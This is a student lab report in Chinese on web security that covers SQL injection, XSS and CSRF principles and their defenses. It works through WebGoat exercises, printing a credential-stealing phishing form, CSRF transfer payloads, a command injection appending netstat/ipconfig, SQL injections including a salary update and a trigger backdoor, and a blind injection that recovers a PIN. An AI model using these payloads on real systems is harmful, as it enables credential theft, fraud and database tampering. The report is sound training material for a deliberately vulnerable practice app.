20155310 Exp9 Web安全基础实践

基础问题

SQL注入攻击原理,如何防御?

SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。

对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。

不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

应用的异常信息应该给出尽可能少的提示。

采取辅助软件或网站平台来检测sql注入。

XSS攻击的原理,如何防御?

攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。

浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。

CSRF攻击原理,如何防御?

攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情

通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域。

实验过程

WebGoat

终端输入

java -jar webgoat-container-7.0.1-war-exec.jar

开启WebGoat。

出现下图所示内容:

在浏览器地址栏输入localhost:8080/WebGoat打开WebGoat,选择默认账号、密码登陆。

XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

编写一个包含用户名、密码的前端代码:

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div> </div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

在webgoat找到Cross-Site Scripting(XSS),打开Phishing with XSS

将代码输入到框中,点击search出现登录框:

输入用户名20155310,密码。

点击登录后跳出包含用户名和密码的弹框:

2、Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks,在Message框中输入

<script>alert("I am 20155310");</script>

提交

点击提交后弹出显示I am 20155310的对话框。攻击成功!

3、Reflected XSS Attacks 反射型XSS攻击

在code框中输入

<script>alert("I am 20155310");</script>

点击Purchase出现显示I am 20155310的对话框。攻击成功!

CSRF攻击

4、Cross Site Request Forgery(CSRF)

查看Parameters中的src和menu的值。

在Title中输入学号,Message中输入代码

<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

提交后生成链接。

点击链接查看用户操作的信息,攻击成功。

5、CSRF Prompt By-Pass

查看Parameters中的src和menu的值。在Title中输入学号,Message中输入代码:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交代码生成链接。

点击链接查看用户操作的信息,攻击成功。

SQL注入攻击

6、Command Injection

使用Firefox浏览器中的Firebug功能对源代码进行修改。在BackDoors.help旁边加上"& netstat -an & ipconfig":

在下拉菜单中能看到修改后的值

选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况

7、Numeric SQL Injection

选中Columbia,点Go,看到该城市的天气信息。

利用firebug,在任意一个值如101旁边加上or 1=1:

选中Columbia,点Go,可以看到所有天气数据:

8、Log Spoofing

在User Name文本框中输入

zy%0d%0aLogin Succeeded for username: admin(%0d是回车,%0a是换行符)

,点击登录,攻击成功。

9、String SQL Injection

在文本框中输入' or 1='1。点Go,所有用户信息被显示,攻击成功。

10、LAB:SQL Injection(Stage 1:String SQL Injection)

以用户Neville登录,在密码栏中输入' or 1='1进行SQL注入,注入前需对密码文本框的字符长度进行修改。

登录成功。

11、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

根据Stage1中的登录方法以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfile的value值改为101 or 1=1 order by salary desc --。

查看到老板信息。

12、Database Backdoors

输入101得到用户信息。

输入注入语句:101; update employee set salary=10000,把该用户的工资涨到10000:

使用语句

101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155310@163.com' WHERE userid = NEW.userid

创建一个后门,把表中所有的邮箱和用户ID都设为

13、Blind Numeric SQL Injection

输入语句

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

查看pin数值是否大于10000

经过不断尝试,慢慢缩小范围,最终可以确定pin的值在2300到2400之间。然后再尝试2300到2350或2350到2400,最后确定pin值为2364。

20155310 Exp9 Web安全基础实践的更多相关文章

  1. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  2. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  3. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  4. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  5. 20155204《网络对抗》Exp9 Web安全基础实践

    20155204<网络对抗>Exp9 Web安全基础实践 一.基础问题回答 SQL注入攻击原理,如何防御? 原理: SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以 ...

  6. 20155210 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

  7. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  8. 20155216 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? 1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等. 2.不要使用动态拼装sql,可以 ...

  9. 20155220 Exp9 Web安全基础实践

    Exp9 Web安全基础实践 实验过程 开启webgoat 输入java -jar webgoat-container-7.1-exec.jar,来运行webgoat 在浏览器输入localhost: ...

随机推荐

  1. VS2008 试图运行未注册64位调试器组件

    安装即可

  2. 简单CNN 测试例

    1.训练数据: import tensorflow as tf import cv2 import os import numpy as np import time import matplotli ...

  3. Java web 开发填坑记 2 -如何正确的创建一个Java Web 项目

    转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/72566261 本文出自[赵彦军的博客] Java web 开发填坑记 1-如何正确 ...

  4. JSP 过滤器

    JSP教程 - JSP过滤器 JSP过滤器是可用于拦截来自客户端的请求或处理来自服务器的响应的Java类. 过滤器可用于执行验证,加密,日志记录,审核. 我们可以将过滤器映射到应用程序部署描述符文件w ...

  5. wordpress使用七牛云加速

    一.准备工作. wordpress搭建的网站 七牛云账号 二.简要步骤 1.wordpress安装七牛云插件. WordPress七牛镜像存储插件已经被WordPress官方收录,可以直接在wordp ...

  6. 一个服务器多个tomcat的配置

    下面我们把配置的详细过程写在下面,以供参考:(此例以配置三个Tomcat为例)1. 下载apache-tomcat-7.0.63,下载下来的文件为apache-tomcat-7.0.63.zip.2. ...

  7. touch创建文件

    创建文件 在cs目录下创建1.txt和2.txt文件 touch ./文件名.txt 或者 touch /root/cs 文件名.txt 或者 echo > ./文件名.txt 或者 >. ...

  8. 安装和配置Apache服务器(上)

    首先,安装软件分安装版和压缩版,压缩版也就是我们现在所说的绿色安装包.安装板和压缩版的区别就是,安装板在安装的时候就已经自动给你配置好环境,压缩版安装之后还要自己配置环境.自己配置环境也是有好处的,知 ...

  9. 团队作业——Alpha冲刺 12/12

    团队作业--Alpha冲刺 冲刺任务安排 杨光海天 今日任务:自定义保存界面布局以及交互接口函数的实现 明日任务:总结项目中的问题,为什么没能按照预期推进项目 郭剑南 今日任务:继续解决Python编 ...

  10. xpath获取带注释的text

    from lxml import etree html_str = """<div id="box1">this from blog.cs ...